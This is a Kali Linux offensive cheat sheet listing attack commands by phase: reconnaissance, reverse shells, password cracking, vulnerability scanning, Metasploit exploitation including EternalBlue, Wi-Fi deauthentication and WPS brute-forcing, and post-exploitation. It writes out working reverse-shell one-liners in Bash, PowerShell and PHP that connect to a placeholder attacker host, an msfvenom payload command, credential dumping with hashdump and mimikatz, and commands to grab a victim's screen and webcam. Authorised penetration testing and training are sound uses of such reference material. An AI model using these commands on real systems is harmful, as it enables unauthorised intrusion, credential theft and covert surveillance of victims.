

**KALI
LINUX
CHEAT SHEET**

Information Gathering

- `nmap -sS -A target.com`
Stealth scan with OS & service detection
- `whois target.com`
Retrieve domain registration info
- `theharvester -d target.com -b all`
Gather emails & subdomains from public sources
- `dnsenum target.com`
Enumerate DNS records & subdomains
- `dirb http://target.com/`
Brute-force directories
- `nslookup target.com`
Resolve domain to IP address
- `whatweb http://target.com`
Identify web technologies & server info
- `recon-ng`
Modular automated OSINT framework

System Access & Reverse Shells

- `nc -lvnp 4444`

Start Netcat listener

- `bash -i >& /dev/tcp/attacker_ip/4444 0>&1`

Bash reverse shell

- `powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);"`

PowerShell reverse shell

- `socat TCP4-LISTEN:4444,fork EXEC:/bin/bash`

Socat listener for reverse shell

- `php -r '$sock=fsockopen("attacker_ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'`

PHP reverse shell

- `msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > shell.exe`

Generate reverse shell payload

Password Attacks

- `hydra -l admin -P rockyou.txt target.com http-get`
Brute-force HTTP login
- `john --wordlist=rockyou.txt hash.txt`
Crack password hashes
- `hashcat -m 0 hash.txt rockyou.txt`
GPU-based password cracking
- `cewl http://target.com -w wordlist.txt`
Generate wordlist from a website
- `crunch 6 10 abcdef1234`
Generate custom wordlists
- `medusa -h target.com -u admin -P rockyou.txt -M http`
Fast parallel brute-forcer
- `patator ssh_login host=ip user=FILE0 password=FILE1
0=user.txt 1=pass.txt`
Brute-force SSH login

Vulnerability Scanning

- `nikto -h http://target.com`
Scan for common web vulnerabilities
- `wpscan --url http://target.com`
WordPress vulnerability scanner
- `sqlmap -u "http://target.com/page.php?id=1" --dbs`
Detect & exploit SQL injections
- `searchsploit apache 2.4`
Search local exploit database
- `nuclei -t cves/ -u http://target.com`
Scan with CVE templates
- `openvas-start`
Start OpenVAS vulnerability scanner
- `lynis audit system`
Perform a full system audit
- `gobuster dir -u http://target.com -w wordlist.txt`
Fast directory brute-forcing

Exploitation

- **msfconsole**
Launch Metasploit Framework
- **use exploit/windows/smb/ms17_010_eternalblue**
Use EternalBlue exploit
- **set RHOST target_ip**
Set remote target host
- **run**
Execute exploit
- **python3 exploit.py**
Run custom Python exploit
- **exploit-db.com**
Find public proof-of-concept exploits
- **search type:exploit platform:windows**
Search Metasploit for Windows exploits
- **set PAYLOAD windows/meterpreter/reverse_tcp**
Set Meterpreter payload

Wireless Attacks

- **airmon-ng start wlan0**
Enable monitor mode
- **airodump-ng wlan0mon**
Scan nearby Wi-Fi networks
- **aireplay-ng --deauth 10 -a BSSID wlan0mon**
Send deauth packets for handshake capture
- **aircrack-ng -w wordlist.txt capture.cap**
Crack WPA2 handshake
- **wash -i wlan0mon**
Detect WPS-enabled routers
- **reaver -i wlan0mon -b BSSID -vv**
Bruteforce WPS PIN
- **wifite**
Automated Wi-Fi attack suite

Post-Exploitation

- **meterpreter > getuid**
Show current user identity
- **meterpreter > hashdump**
Dump password hashes
- **mimikatz**
Extract Windows credentials
- **netstat -ano**
Show active connections
- **wmic useraccount list brief**
List Windows users
- **meterpreter > screenshot**
Capture victim screen
- **meterpreter > webcam_snap**
Take webcam snapshot
- **ps**
View running processes